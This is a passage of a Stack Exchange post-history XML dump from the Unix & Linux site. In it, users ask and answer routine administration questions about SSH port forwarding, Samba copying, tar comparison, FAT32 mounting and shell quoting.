  <row Id="25069" PostHistoryTypeId="2" PostId="10429" RevisionGUID="b31a0a0e-b909-4e1d-a22a-703d1d75e219" CreationDate="2011-04-01T05:55:51.363" UserId="6167" Text="Using ssh is the easiest solution.&#xD;&#xA;&#xD;&#xA;&gt; ssh -g -L 8001:localhost:8000 -f -N user@remote-server.com&#xD;&#xA;&#xD;&#xA;This forwards the local port 8001 on your workstation to the localhost address on remote-server.com port 8000.  -g means allow other clients on my network to connect to port 8001 on my workstation.  Otherwise only local clients on your workstation can connect to the forwarded port.  -N means all I am doing is forwarding ports, don't start a shell.  -f means fork into background after a successful SSH connection and log-in.  Port 8001 will stay open for many connections, until ssh dies or is killed.  If you happen to be on Windows, the excellent SSH client PuTTY can do this as well.  Use 8001 as the local port and localhost:8000 and the destination and add a local port forwarding in settings.  You can add it after a successful connect with PuTTY." />
  <row Id="25070" PostHistoryTypeId="25" PostId="10414" RevisionGUID="69999292-c2ab-447c-899b-29d657a353b5" CreationDate="2011-04-01T06:00:22.770" Comment="http://twitter.com/#!/StackUnix/status/53698198123982848" />
  <row Id="25071" PostHistoryTypeId="2" PostId="10430" RevisionGUID="2e12a6d3-df83-4e69-8c2e-1f2db89d2ade" CreationDate="2011-04-01T06:13:24.343" UserId="6167" Text="If you can disable the pam_ecryptfs session module, than ecryptfs mount points won't be unmounted on log-out, but this also affects everyone.  Another idea is to use a different passphrase from your login to wrap your mount phasephrase.  In this case, it will fail to mount it automatically on log-in, and therefore it shouldn't (won't?) unmount on log-out.  You can then manually mount ecryptfs and it should stay mounted until next reboot:&#xD;&#xA;&#xD;&#xA;    ecryptfs-umount-private&#xD;&#xA;    ecryptfs-rewrap-passphrase .ecryptfs/wrapped-passphrase&#xD;&#xA;    ecryptfs-mount-private&#xD;&#xA;&#xD;&#xA;" />
  <row Id="25072" PostHistoryTypeId="2" PostId="10431" RevisionGUID="421dbaf6-0dae-45a0-852d-fd749e620b8c" CreationDate="2011-04-01T06:38:03.807" UserId="5884" Text="I thought it is crystal clear, but judging from other answer, it seems not -- so, do NOT write any installation program. Prepare package(s) for installation and let the installation manager (which is present in most of Linux/Unix systems) do the job.&#xD;&#xA;&#xD;&#xA;Yes, it means you should create several packages, but it shouldn't be that hard nowadays, there are multibuilders now, which create all needed packages for you, for example:&#xD;&#xA;http://en.opensuse.org/Portal:Build_Service&#xD;&#xA;&#xD;&#xA;And one more remark: package should be installed silently, don't display any splash screens, settings, EULA, and so on." />
  <row Id="25073" PostHistoryTypeId="2" PostId="10432" RevisionGUID="8dff0d9b-83b2-4aff-b5f5-eaad643e40e2" CreationDate="2011-04-01T06:40:07.067" UserId="58" Text="I currently quickly setup a way to copy files from my linux machine to a windows share that multiple people can access, but I'm looking for a better way.&#xD;&#xA;&#xD;&#xA;In Windows 7, I made a folder accessible to Everyone.&#xD;&#xA;&#xD;&#xA;In linux, I made the directory /mnt/windows_share and mounted the windows share using samba:&#xD;&#xA;&#xD;&#xA;    sudo mount -t cifs -o username=mouche,password=1234 //COMPUTERNAME/share_dir /mnt/windows_share&#xD;&#xA;&#xD;&#xA;Then I ran this script using sudo in the directory I want to copy files from:&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/perl -w&#xD;&#xA;    while (1)&#xD;&#xA;    {&#xD;&#xA;        system(&quot;cp -u * /mnt/windows_share/&quot;);&#xD;&#xA;        sleep 1;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;One problem with this is that it updates Windows &quot;Date Modified&quot; properties every time it updates, even though I added the -u option to cp. Also, if the machine reboots, the mount command and the script have to be run again (with sudo, so you need to know the password). &#xD;&#xA;&#xD;&#xA;Any suggestions on how to improve this process?" />
  <row Id="25074" PostHistoryTypeId="1" PostId="10432" RevisionGUID="8dff0d9b-83b2-4aff-b5f5-eaad643e40e2" CreationDate="2011-04-01T06:40:07.067" UserId="58" Text="Copy from linux to windows every minute" />
  <row Id="25075" PostHistoryTypeId="3" PostId="10432" RevisionGUID="8dff0d9b-83b2-4aff-b5f5-eaad643e40e2" CreationDate="2011-04-01T06:40:07.067" UserId="58" Text="éwindowsàésambaàéfileösharingàécpà" />
  <row Id="25076" PostHistoryTypeId="2" PostId="10433" RevisionGUID="b1633e85-3f42-4664-ba6f-6bd4a7bcf970" CreationDate="2011-04-01T07:10:53.763" UserId="5685" Text="You should try rsync instead of cp: `rsync -avz linux_path /mnt/windows_share/` and crontab instead of the perl loop: `crontab -e` and add the following line to it:&#xD;&#xA;&#xD;&#xA;  `*    *    *    *    *    rsync -avz linux_path /mnt/windows_share/`&#xD;&#xA;&#xD;&#xA;It's going to be executed every minute, and if that's an option in your case, it's more robust than the while loop." />
  <row Id="25077" PostHistoryTypeId="25" PostId="10432" RevisionGUID="5ff8f60b-1675-42d7-a352-4b57c4d7139c" CreationDate="2011-04-01T09:00:23.033" Comment="http://twitter.com/#!/StackUnix/status/53743497936777216" />
  <row Id="25078" PostHistoryTypeId="2" PostId="10434" RevisionGUID="4272e647-f99c-4179-b93c-3fac1b9460d0" CreationDate="2011-04-01T09:33:20.970" UserId="250" Text="Short question: I have two dynamically generated tar archives (so they have different timestamps), how can I compare them, ignoring any different in time?&#xD;&#xA;&#xD;&#xA;Backgrounds...&#xD;&#xA;&#xD;&#xA;I am doing some backup, in which I use a script to generate things that needs to be backed up, put them in to a directory, then tar the directory and keep several old versions. The backup script needs to run every 30 minutes to make sure we don't lose hours of work.&#xD;&#xA;&#xD;&#xA;Now I realize that there are periods of time that the data doesn't change, so it doesn't make sense to store duplicates of the same thing over and over again. I would like to compare the archives before saving. My attempt was to run `cmp newdata.tar.gz olddata.tar.gz` and only store `newdata.tar.gz` if it contains new data. Apparently that didn't work, because there are different timestamps." />
  <row Id="25079" PostHistoryTypeId="1" PostId="10434" RevisionGUID="4272e647-f99c-4179-b93c-3fac1b9460d0" CreationDate="2011-04-01T09:33:20.970" UserId="250" Text="Compare the contents of dynamically generated archives" />
  <row Id="25080" PostHistoryTypeId="3" PostId="10434" RevisionGUID="4272e647-f99c-4179-b93c-3fac1b9460d0" CreationDate="2011-04-01T09:33:20.970" UserId="250" Text="ébackupàétarà" />
  <row Id="25081" PostHistoryTypeId="5" PostId="10389" RevisionGUID="3020dabc-f63d-48d9-a54e-ec5ad6a03af5" CreationDate="2011-04-01T09:35:55.710" UserId="2343" Comment="added 51 characters in body" Text="    lnum=$(($(sed -n '/^---$/=' file | sed '$!d') +1)); sed -n &quot;${lnum},$ p&quot; file &#xD;&#xA;&#xD;&#xA;The first `sed` ouputs line numbers of the &quot;---&quot; lines...  &#xD;&#xA;The second `sed` extracts the last number from the first sed's output...  &#xD;&#xA;Add 1 to that number to get the start of your &quot;ccc&quot; block...  &#xD;&#xA;The third 'sed' outputs from the start of the &quot;ccc&quot; block to EOF&#xD;&#xA;&#xD;&#xA;**Update** *(with ammended info re Gilles methods)*  &#xD;&#xA;&#xD;&#xA;Well I was wondereing about how *glenn jackman's* `tac` would perform, so I time-tested the three answers (at the time of writing)...  The test file(s) each contained 1 million lines (of their own line numbers).  &#xD;&#xA;All answers did what was expected...&#xD;&#xA;&#xD;&#xA;Here are the times..     &#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;*Gilles* `sed` (single pass)  &#xD;&#xA;&#xD;&#xA;    # real    0m0.470s&#xD;&#xA;    # user    0m0.448s&#xD;&#xA;    # sys     0m0.020s&#xD;&#xA;&#xD;&#xA;---  &#xD;&#xA;*Gilles* `awk` (single pass)  &#xD;&#xA;&#xD;&#xA;    # very slow, but my data had a very large data block which awk needed to cache.&#xD;&#xA;&#xD;&#xA;---  &#xD;&#xA;*Gilles* 'two-pass' (first method)  &#xD;&#xA;&#xD;&#xA;    # currently outputs &quot;(standard input)&quot; .. It seems to be a grep option typo.   &#xD;&#xA;&#xD;&#xA;---  &#xD;&#xA;*Gilles* 'two-pass' (second method) ... **very fast**&#xD;&#xA;&#xD;&#xA;    # real    0m0.204s&#xD;&#xA;    # user    0m0.196s&#xD;&#xA;    # sys     0m0.008s&#xD;&#xA;&#xD;&#xA;---  &#xD;&#xA;*Gilles* 'two-pass' (second method)  &#xD;&#xA;&#xD;&#xA;    # currently has no output&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;*glenn jackman* ... **very fast**, but is not POSIX.&#xD;&#xA;&#xD;&#xA;    # real    0m0.022s&#xD;&#xA;    # user    0m0.000s&#xD;&#xA;    # sys     0m0.036s&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;*fred.bear*  &#xD;&#xA;&#xD;&#xA;    # real    0m0.464s&#xD;&#xA;    # user    0m0.432s&#xD;&#xA;    # sys     0m0.052s&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;*Mackie Messer*  &#xD;&#xA;&#xD;&#xA;    # real    0m0.856s&#xD;&#xA;    # user    0m0.832s&#xD;&#xA;    # sys     0m0.028s&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="25082" PostHistoryTypeId="5" PostId="10389" RevisionGUID="8838b0b9-7305-4253-a541-9499af33e39a" CreationDate="2011-04-01T09:44:12.240" UserId="2343" Comment="deleted 1 characters in body" Text="    lnum=$(($(sed -n '/^---$/=' file | sed '$!d') +1)); sed -n &quot;${lnum},$ p&quot; file &#xD;&#xA;&#xD;&#xA;The first `sed` ouputs line numbers of the &quot;---&quot; lines...  &#xD;&#xA;The second `sed` extracts the last number from the first sed's output...  &#xD;&#xA;Add 1 to that number to get the start of your &quot;ccc&quot; block...  &#xD;&#xA;The third 'sed' outputs from the start of the &quot;ccc&quot; block to EOF&#xD;&#xA;&#xD;&#xA;**Update** *(with ammended info re Gilles methods)*  &#xD;&#xA;&#xD;&#xA;Well I was wondereing about how *glenn jackman's* `tac` would perform, so I time-tested the three answers (at the time of writing)...  The test file(s) each contained 1 million lines (of their own line numbers).  &#xD;&#xA;All answers did what was expected...&#xD;&#xA;&#xD;&#xA;Here are the times..     &#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;*Gilles* `sed` (single pass)  &#xD;&#xA;&#xD;&#xA;    # real    0m0.470s&#xD;&#xA;    # user    0m0.448s&#xD;&#xA;    # sys     0m0.020s&#xD;&#xA;&#xD;&#xA;---  &#xD;&#xA;*Gilles* `awk` (single pass)  &#xD;&#xA;&#xD;&#xA;    # very slow, but my data had a very large data block which awk needed to cache.&#xD;&#xA;&#xD;&#xA;---  &#xD;&#xA;*Gilles* 'two-pass' (first method)  &#xD;&#xA;&#xD;&#xA;    # currently outputs &quot;(standard input)&quot; .. It seems to be a grep option typo.   &#xD;&#xA;&#xD;&#xA;---  &#xD;&#xA;*Gilles* 'two-pass' (second method) ... **very fast**&#xD;&#xA;&#xD;&#xA;    # real    0m0.204s&#xD;&#xA;    # user    0m0.196s&#xD;&#xA;    # sys     0m0.008s&#xD;&#xA;&#xD;&#xA;---  &#xD;&#xA;*Gilles* 'two-pass' (third method)  &#xD;&#xA;&#xD;&#xA;    # currently has no output&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;*glenn jackman* ... **very fast**, but is not POSIX.&#xD;&#xA;&#xD;&#xA;    # real    0m0.022s&#xD;&#xA;    # user    0m0.000s&#xD;&#xA;    # sys     0m0.036s&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;*fred.bear*  &#xD;&#xA;&#xD;&#xA;    # real    0m0.464s&#xD;&#xA;    # user    0m0.432s&#xD;&#xA;    # sys     0m0.052s&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;*Mackie Messer*  &#xD;&#xA;&#xD;&#xA;    # real    0m0.856s&#xD;&#xA;    # user    0m0.832s&#xD;&#xA;    # sys     0m0.028s&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="25083" PostHistoryTypeId="2" PostId="10435" RevisionGUID="e718b303-b253-4d08-86a7-c47954903f4b" CreationDate="2011-04-01T09:48:24.953" UserId="6149" Text="You can avoid having to remount the share (and also allow it to be mounted by unprivileged user accounts) by adding it to fstab (/etc/fstab)." />
  <row Id="25084" PostHistoryTypeId="2" PostId="10436" RevisionGUID="42f0602c-2759-487e-b6c7-a0c47134fc58" CreationDate="2011-04-01T10:01:08.543" UserId="5923" Text="Do the files inside the archives change, or are just new ones added?&#xD;&#xA;&#xD;&#xA;If you only add files, and don't change any, try something like this:&#xD;&#xA;&#xD;&#xA;    tar ztf olddata.tar.gz | sort &gt; tmpfile1&#xD;&#xA;    tar ztf newdata.tar.gz | sort &gt; tmpfile2&#xD;&#xA;    diff tmpfile{1,2} &gt; /dev/null&#xD;&#xA;    if test $? -eq 0&#xD;&#xA;    then&#xD;&#xA;      echo ignore newdata.tar.gz&#xD;&#xA;    else&#xD;&#xA;      echo keep olddata.tar.gz&#xD;&#xA;    fi&#xD;&#xA;    rm tmpfile{1,2}&#xD;&#xA;&#xD;&#xA;Note the absence of `v` from the tar table of contents commands.&#xD;&#xA;&#xD;&#xA;If you just want to skip archives with identical contents, add a `v` to the mix, as in:&#xD;&#xA;&#xD;&#xA;    tar ztvf olddata.tar.gz | sort &gt; tmpfile1&#xD;&#xA;and so on." />
  <row Id="25085" PostHistoryTypeId="2" PostId="10437" RevisionGUID="85013ab7-1b41-4fd1-a5be-87bb333391ea" CreationDate="2011-04-01T10:01:54.050" UserId="6215" Text="I brought to home my friend's printer (HP Deskjet F4210). I'm using Xubuntu 10.04.&lt;br&gt;&#xD;&#xA;When I use the command&lt;br&gt;&#xD;&#xA;&#xD;&#xA;    lpr scanned.pdf&#xD;&#xA;&#xD;&#xA;the printer does nothing. `lpq` writes&#xD;&#xA;&#xD;&#xA;    Deskjet-F300-series is not ready&#xD;&#xA;    Rank    Owner   Job     File(s)                         Total Size&#xD;&#xA;    1st     xralf 61      scanned.pdf                     1690624 bytes&#xD;&#xA;    2nd     xralf 62      (stdin)                         0 bytes&#xD;&#xA;    3rd     xralf 63      scanned.pdf                     1690624 bytes&#xD;&#xA;&#xD;&#xA;I installed the driver according to this [manual][1]&#xD;&#xA;&#xD;&#xA;Could you help me to figure out what is wrong?&#xD;&#xA;&#xD;&#xA;  [1]: http://hplipopensource.com/hplip-web/models/deskjet_aio/deskjet_f4210_series.html" />
  <row Id="25086" PostHistoryTypeId="1" PostId="10437" RevisionGUID="85013ab7-1b41-4fd1-a5be-87bb333391ea" CreationDate="2011-04-01T10:01:54.050" UserId="6215" Text="How do I get an HP Deskjet F4210 to work?" />
  <row Id="25087" PostHistoryTypeId="3" PostId="10437" RevisionGUID="85013ab7-1b41-4fd1-a5be-87bb333391ea" CreationDate="2011-04-01T10:01:54.050" UserId="6215" Text="édriversàéprintingàécupsà" />
  <row Id="25088" PostHistoryTypeId="2" PostId="10438" RevisionGUID="4130e44e-5406-4753-925f-fb56d125cc55" CreationDate="2011-04-01T10:17:06.797" UserId="6217" Text="Is it possible to add a list of hosts that are only specific to a certain user? Perhaps a user specific hosts file?&#xD;&#xA;&#xD;&#xA;This mechanism should also compliment the entries in the /etc/hosts file." />
  <row Id="25089" PostHistoryTypeId="1" PostId="10438" RevisionGUID="4130e44e-5406-4753-925f-fb56d125cc55" CreationDate="2011-04-01T10:17:06.797" UserId="6217" Text="Can I create a user specific hosts file to compliment /etc/hosts?" />
  <row Id="25090" PostHistoryTypeId="3" PostId="10438" RevisionGUID="4130e44e-5406-4753-925f-fb56d125cc55" CreationDate="2011-04-01T10:17:06.797" UserId="6217" Text="éusersàéhostsà" />
  <row Id="25091" PostHistoryTypeId="2" PostId="10439" RevisionGUID="74ed259b-6c8e-4494-9610-a48324efc8cd" CreationDate="2011-04-01T10:33:31.310" UserId="6216" Text="I'm mounting a FAT32 drive on my NAS (which has a USB port), and hitting a strange issue when I use the `ls` command on the drive root:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-none --&gt;&#xD;&#xA;&#xD;&#xA;    ls: cannot access ???²é?u.g: Input/output error&#xD;&#xA;    ls: cannot access ?f$?â?.k: Input/output errorPuTTY&#xD;&#xA;    ls: cannot access ?21ï??é.ìk?: Input/output error&#xD;&#xA;    ls: cannot access ºq`{??ùê.?zï: Input/output error&#xD;&#xA;    ls: cannot access +?l`æ~2?.]9: Input/output error&#xD;&#xA;    ls: cannot access ??j.é: Input/output error&#xD;&#xA;    ls: cannot access ëégö²?è.?« Input/output error&#xD;&#xA;    ?.¢??: Input/output error&#xD;&#xA;    ls: cannot access ??d?¬«ëc.?½f: Input/output error&#xD;&#xA;    ls: cannot access ?r??%f.o??: Input/output error&#xD;&#xA;    ls: cannot access b}?çb¼=u.?c·: Input/output error&#xD;&#xA;    }??..÷p½: Input/output error&#xD;&#xA;    ls: cannot access u?;e?j?.&#xD;&#xA;&#xD;&#xA;I'm not sure why &quot;PuTTy&quot; is thrown in there on the second line.  It is the client I'm using to access the NAS, and I'm running the latest version, but I don't understand what it has to do with the `ls` command.  It goes on like this for a while and then starts listing files that aren't really there along with the files that are:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-none --&gt;&#xD;&#xA;&#xD;&#xA;    ï¿½?=?^Oaaï¿½.h?=&#xD;&#xA;    ?*ab^G^S??.?^[?&#xD;&#xA;    a?cw??^?*.=?$&#xD;&#xA;    ï¿½??aï¿½hï¿½ï¿½.?ï¿½?&#xD;&#xA;    ??aï¿½?^_j!.?i?&#xD;&#xA;    ï¿½?a?m??^U.a^G^?&#xD;&#xA;    apps&#xD;&#xA;    ??^Q??a?y.ï¿½?z&#xD;&#xA;&#xD;&#xA;I'm running Debian/Lenny (now), but I had the same problem before I switched to Debian on my NAS.  I'm not sure which distro I was running before, I think it was a custom build.&#xD;&#xA;&#xD;&#xA;When I plug the drive in, `sdc` and `sdc1` appear in the `/dev` directory.  I'm unable to mount `sdc`, but can successfully mount `sdc1`.  These are the command I've tried using to mount:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-bsh --&gt;&#xD;&#xA;&#xD;&#xA;    mount /dev/sdc1 /USB&#xD;&#xA;    mount -t vfat /dev/sdc1 /USB&#xD;&#xA;    mount -o umask=0 -t vfat /dev/sdc1 /USB&#xD;&#xA;&#xD;&#xA;I'll be honest, my Linux knowledge isn't that great &amp;mdash; it's limited mostly to basic administrative tasks.  Of course, if I plug the drive into Windows (7) it works fine.&#xD;&#xA;&#xD;&#xA;One final note perhaps worth mentioning is that I remember having to use a special tool to format the drive because it was too large for Windows to format it." />
  <row Id="25092" PostHistoryTypeId="1" PostId="10439" RevisionGUID="74ed259b-6c8e-4494-9610-a48324efc8cd" CreationDate="2011-04-01T10:33:31.310" UserId="6216" Text="Really strange FAT32 file listing problem" />
  <row Id="25093" PostHistoryTypeId="3" PostId="10439" RevisionGUID="74ed259b-6c8e-4494-9610-a48324efc8cd" CreationDate="2011-04-01T10:33:31.310" UserId="6216" Text="édebianàéfilesystemsàémountàélsà" />
  <row Id="25094" PostHistoryTypeId="2" PostId="10440" RevisionGUID="2ab95277-93f0-45d3-a7d0-8e71f4ceece6" CreationDate="2011-04-01T10:39:45.063" UserId="4463" Text="Hi, I need to duplicate an RTP stream over two different (non-reliable) Internet connections. &#xD;&#xA;&#xD;&#xA;On the receiver side, I will probably run a custom program that will use a buffer and rebuild the stream before using it.&#xD;&#xA;&#xD;&#xA;But I have some trouble in splitting the traffic over the two connections. I did some research and found that maybe `tc` (part of `iproute2`) could be what I need.&#xD;&#xA;&#xD;&#xA;Can anyone help me?" />
  <row Id="25095" PostHistoryTypeId="1" PostId="10440" RevisionGUID="2ab95277-93f0-45d3-a7d0-8e71f4ceece6" CreationDate="2011-04-01T10:39:45.063" UserId="4463" Text="Send duplicate packets over two Internet connections." />
  <row Id="25096" PostHistoryTypeId="3" PostId="10440" RevisionGUID="2ab95277-93f0-45d3-a7d0-8e71f4ceece6" CreationDate="2011-04-01T10:39:45.063" UserId="4463" Text="énetworkingà" />
  <row Id="25097" PostHistoryTypeId="2" PostId="10441" RevisionGUID="79bb8f83-f1ec-4a3b-947b-cbf109d60a33" CreationDate="2011-04-01T11:05:06.053" UserId="250" Text="A recent upgrade changed default settings for `sudo`. If anyone have this problem check your `sudoer` configuration. From an example in the man page:&#xD;&#xA;&#xD;&#xA;    # Run X applications through sudo; HOME is used to find the&#xD;&#xA;    # .Xauthority file.  Note that other programs use HOME to find&#xD;&#xA;    # configuration files and this may lead to privilege escalation!&#xD;&#xA;    Defaults env_keep += &quot;DISPLAY HOME&quot;&#xD;&#xA;&#xD;&#xA;Make sure you have something like that in `/etc/sudoers` (use `visudo` to edit the file if you need to)." />
  <row Id="25098" PostHistoryTypeId="2" PostId="10442" RevisionGUID="8556a691-b5ea-4d3d-a8a6-16fbf9b8d8fa" CreationDate="2011-04-01T11:11:54.210" UserId="1707" Text="Is there a program capable of doing such thing?&#xD;&#xA;&#xD;&#xA;Something that would wait for me to either supply a username and a password, or select my username and a voice command that does the same thing." />
  <row Id="25099" PostHistoryTypeId="1" PostId="10442" RevisionGUID="8556a691-b5ea-4d3d-a8a6-16fbf9b8d8fa" CreationDate="2011-04-01T11:11:54.210" UserId="1707" Text="Logging in using voice commands with GDM" />
  <row Id="25100" PostHistoryTypeId="3" PostId="10442" RevisionGUID="8556a691-b5ea-4d3d-a8a6-16fbf9b8d8fa" CreationDate="2011-04-01T11:11:54.210" UserId="1707" Text="éloginà" />
  <row Id="25101" PostHistoryTypeId="6" PostId="10442" RevisionGUID="add6831d-a0b4-4e3d-b4f0-5f5ec598b017" CreationDate="2011-04-01T11:17:47.853" UserId="73" Comment="edited tags" Text="ésoftwareörecàéloginà" />
  <row Id="25102" PostHistoryTypeId="5" PostId="10397" RevisionGUID="476a933e-cc40-4071-9a1e-fea37821fc02" CreationDate="2011-04-01T11:31:20.587" UserId="885" Comment="fixed grep option in 2-pass with grep; fixed position in 2-pass with tail -c; fixed separator in 2-pass with tail -n" Text="Unless your segments are really huge (as in: you really can't spare that much RAM, presumably because this is a tiny embedded system controlling a large filesystem), a single pass is really the better approach. Not just because it'll be faster, but most importantly because it allows the source to be a stream, from which any data read and not saved is lost. This is really a job for awk, though sed can do it too.&#xD;&#xA;&#xD;&#xA;    sed -n -e 's/^---$//' -e 't a' \&#xD;&#xA;           -e 'H' -e '$g' -e '$s/^\n//' -e '$p' -e 'b' \&#xD;&#xA;           -e ':a' -e 'h'&#xD;&#xA;    awk '{if (/^---$/) {chunk=&quot;&quot;} else {chunk=chunk $0 RS}}&#xD;&#xA;         END {printf &quot;%s&quot;, chunk}'&#xD;&#xA;&#xD;&#xA;If you must use a two-pass approach, determine the line offset of the last separator and print from that. Or determine the byte offset and print from that.&#xD;&#xA;&#xD;&#xA;    &lt;/input/file tail -n +$((1 + $(&lt;/input/file grep -n -e '---' |&#xD;&#xA;                                   tail -n 1 | cut -d ':' -f 1) ))&#xD;&#xA;    &lt;/input/file tail -n +$(&lt;/input/file awk '/^---$/ {n=NR+1} END {print n}')&#xD;&#xA;    &lt;/input/file tail -c +$(&lt;/input/file LC_CTYPE=C awk '&#xD;&#xA;        {pos+=length($0 RS)}&#xD;&#xA;        /^---$/ {last=pos}&#xD;&#xA;        END {print last+1}&#xD;&#xA;    ')&#xD;&#xA;" />
  <row Id="25103" PostHistoryTypeId="2" PostId="10443" RevisionGUID="c84da317-17ca-4070-8739-67c11e1af4a5" CreationDate="2011-04-01T11:47:13.320" UserId="5971" Text="Hi,&#xD;&#xA;I have to create an empty file using shell script. The filename will be determined by examining all the files in a directory matching a pattern say &quot;TEST.*&quot; and append _END to it so that the new file might look like TEST.2011_END  Let the current directory be $DIR. So I tried  &#xD;&#xA;*for file in $DIR/TEST.**  &#xD;&#xA;*do*  &#xD;&#xA;touch $file_END  &#xD;&#xA;*done*  &#xD;&#xA;This gives error. I also tried replacing &quot;touch $file_END&quot; with  &#xD;&#xA;filename=$file_END  &#xD;&#xA;touch $filename  &#xD;&#xA;but with no luck. Any help on this?&#xD;&#xA;  " />
  <row Id="25104" PostHistoryTypeId="1" PostId="10443" RevisionGUID="c84da317-17ca-4070-8739-67c11e1af4a5" CreationDate="2011-04-01T11:47:13.320" UserId="5971" Text="creating an empty file in a script having a variable name" />
  <row Id="25105" PostHistoryTypeId="3" PostId="10443" RevisionGUID="c84da317-17ca-4070-8739-67c11e1af4a5" CreationDate="2011-04-01T11:47:13.320" UserId="5971" Text="éshellöscriptàéfilesàéunixà" />
  <row Id="25106" PostHistoryTypeId="2" PostId="10444" RevisionGUID="5ffd4407-8f92-4f01-b5ec-3f790feee3b1" CreationDate="2011-04-01T11:51:48.200" UserId="2876" Text="This seems a bit like an  April Fools' joke, but this is what I was greeted with this morning, when trying to bring my Arch up to date:&#xD;&#xA;&#xD;&#xA;    :: The following packages should be upgraded first :&#xD;&#xA;        pacman&#xD;&#xA;    :: Do you want to cancel the current operation&#xD;&#xA;    :: and upgrade these packages now? [Y/n] &#xD;&#xA;    &#xD;&#xA;    resolving dependencies...&#xD;&#xA;    looking for inter-conflicts...&#xD;&#xA;    error: failed to prepare transaction (could not satisfy dependencies)&#xD;&#xA;    :: package-query: requires pacman&lt;3.5&#xD;&#xA;&#xD;&#xA;So what, should I downgrade my pacman before I'm allowed to upgrade it?&#xD;&#xA;" />
  <row Id="25107" PostHistoryTypeId="1" PostId="10444" RevisionGUID="5ffd4407-8f92-4f01-b5ec-3f790feee3b1" CreationDate="2011-04-01T11:51:48.200" UserId="2876" Text="Arch Linux: pacman cannot be upgraded because pacman version is too high?" />
  <row Id="25108" PostHistoryTypeId="3" PostId="10444" RevisionGUID="5ffd4407-8f92-4f01-b5ec-3f790feee3b1" CreationDate="2011-04-01T11:51:48.200" UserId="2876" Text="éarchölinuxàépacmanà" />
  <row Id="25109" PostHistoryTypeId="5" PostId="10443" RevisionGUID="1dad1138-0f40-4be0-ac67-a6b9628b5450" CreationDate="2011-04-01T11:56:38.930" UserId="73" Comment="added 26 characters in body; edited title; added 4 characters in body" Text="I need to create an empty file using a shell script. The filename will be determined by examining all the files in a directory matching a pattern, say `TEST.*`, and appending `_END` to it so that the new file might look like `TEST.2011_END`.  Let the current directory be `$DIR`. So I tried:&#xD;&#xA;&#xD;&#xA;    for file in $DIR/TEST.*&#xD;&#xA;    do&#xD;&#xA;        touch $file_END  &#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;This gives an error. I also tried replacing `touch $file_END` with:&#xD;&#xA;&#xD;&#xA;    filename=$file_END  &#xD;&#xA;    touch $filename  &#xD;&#xA;&#xD;&#xA;but with no luck. What should I do?" />
  <row Id="25110" PostHistoryTypeId="4" PostId="10443" RevisionGUID="1dad1138-0f40-4be0-ac67-a6b9628b5450" CreationDate="2011-04-01T11:56:38.930" UserId="73" Comment="added 26 characters in body; edited title; added 4 characters in body" Text="Creating an empty file having a variable name in a script" />
  <row Id="25111" PostHistoryTypeId="25" PostId="10442" RevisionGUID="06480e77-cb83-4ad9-baa7-6617ede9ebd0" CreationDate="2011-04-01T12:00:23.060" Comment="http://twitter.com/#!/StackUnix/status/53788796197683201" />
  <row Id="25112" PostHistoryTypeId="2" PostId="10445" RevisionGUID="e4dd1700-fe7a-44f2-b615-d1ef08300c65" CreationDate="2011-04-01T12:03:59.363" UserId="5842" Text="The syntax would be:&#xD;&#xA;&#xD;&#xA;    filename=&quot;${file}_END&quot;&#xD;&#xA;&#xD;&#xA;or in your code&#xD;&#xA;&#xD;&#xA;    touch &quot;${file}_END&quot;&#xD;&#xA;&#xD;&#xA;The `&quot;` quotes are not necessary as long as `$file` does not have any whitespace in it." />
  <row Id="25113" PostHistoryTypeId="2" PostId="10446" RevisionGUID="3c799475-5659-43a5-8277-01d73d1c958d" CreationDate="2011-04-01T12:09:50.360" UserId="5842" Text="That looks like a codepage issue. Look in the man page for `mount` - in the `fat` sections, there is a `codepage=` setting you can use.&#xD;&#xA;&#xD;&#xA;Also look at the `iocharset=` setting. (And search the web for both.)&#xD;&#xA;" />
  <row Id="25114" PostHistoryTypeId="2" PostId="10447" RevisionGUID="8b28c658-fef0-4fd0-8144-fabee11b8776" CreationDate="2011-04-01T12:11:17.183" UserId="2876" Text="What this error actually says, is that the version of `package-query` that's installed depends on a lower version of `pacman` than the one you're trying to upgrade to.  &#xD;&#xA;This can be solved by running `pacman -Rs yaourt; pacman -Syu;` and then rebuilding `yaourt` and `package-query`." />
  <row Id="25115" PostHistoryTypeId="2" PostId="10448" RevisionGUID="9689102c-c994-4869-97ad-ca4a99466d06" CreationDate="2011-04-01T12:11:27.830" UserId="6218" Text="the command interpreter thinks you mean $file_END ( value of the variable named file_END ). you can work around this by quoting.&#xD;&#xA;The syntax could be:&#xD;&#xA;&#xD;&#xA;    filename=&quot;$file&quot;&quot;_END&quot;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    filename=&quot;$file&quot;_END&#xD;&#xA;&#xD;&#xA;or even&#xD;&#xA;&#xD;&#xA;    filename=$file&quot;_END&quot;&#xD;&#xA;&#xD;&#xA;though i prefer the first one for clarity!" />
  <row Id="25116" PostHistoryTypeId="5" PostId="10397" RevisionGUID="a133e75d-708d-46db-88df-567b7f3430e2" CreationDate="2011-04-01T12:13:05.653" UserId="885" Comment="added comments; added awk versions with a regexp for RS" Text="Unless your segments are really huge (as in: you really can't spare that much RAM, presumably because this is a tiny embedded system controlling a large filesystem), a single pass is really the better approach. Not just because it'll be faster, but most importantly because it allows the source to be a stream, from which any data read and not saved is lost. This is really a job for awk, though sed can do it too.&#xD;&#xA;&#xD;&#xA;    sed -n -e 's/^---$//' -e 't a' \&#xD;&#xA;           -e 'H' -e '$g' -e '$s/^\n//' -e '$p' -e 'b' \&#xD;&#xA;           -e ':a' -e 'h'              # you are not expected to understand this&#xD;&#xA;    awk '{if (/^---$/) {chunk=&quot;&quot;}      # separator ==&gt; start new chunk&#xD;&#xA;          else 